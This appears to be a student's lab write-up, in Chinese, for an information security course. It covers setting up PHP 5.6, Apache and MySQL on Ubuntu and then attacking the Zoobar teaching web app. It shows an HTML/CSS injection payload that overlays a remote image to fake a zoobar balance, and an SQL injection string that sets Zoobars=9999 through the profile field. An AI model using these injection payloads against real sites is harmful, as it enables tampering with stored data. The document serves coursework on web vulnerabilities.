信息安全实践Lab2-CSS

信息安全实践Lab2-CSS

Ubuntu20.04 安装 php5.6 ,php5.6-mysql,apache2,mysql5.7

安装php5.6,php5.6-mysql,apache2

sudo apt-get install -y language-pack-en-base

sudo LC_ALL=en_US.UTF-8 add-apt-repository ppa:ondrej/php

sudo add-apt-repository ppa:ondrej/php

sudo apt-get update

sudo apt-get install php5.6

sudo apt-get install php5.6-mysql

sudo apt-get apache2

sudo a2dismod php7.4

sudo a2enmod php5.6

sudo service apache2 restart

安装mysql5.7

ubuntu安装mysql5.7

问题1

问题2:Zoobar网站寻找漏洞

Manage your profile in the zoobar website, make your zoobars appear more than you really own. That is, after you modify your profile, when others or yourself look up your profile, they will see more zoobars than you actually own.

方法一:利用css

  1. 在a用户的profile中输入

    <img src="http://106.13.136.87:8080/100.png" style="position:relative;top:-55px;right:-63px;width:34px;height:21px"/>
    
  2. 然后b用户在User中输入用户名a,就会看到a有100个zoobars,其实a并没有100个

方法二:sql注入

  1. 源码中,处理$profile参数sql语句如下:

    $sql = "UPDATE Person SET Profile='$profile' ".
               "WHERE PersonID=$user->id";
    
  2. 假设第一个用户a在profile中输入

    ',Zoobars=9999,Profile='Welcome to my profile!
    
  3. 最后执行的sql如下

    update Person set Profile='',Zoobars=9999,Profile='Welcome to my profile!' where PeronID=1;
    
  4. 最后再去查a的余额就有9999个zoobars

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章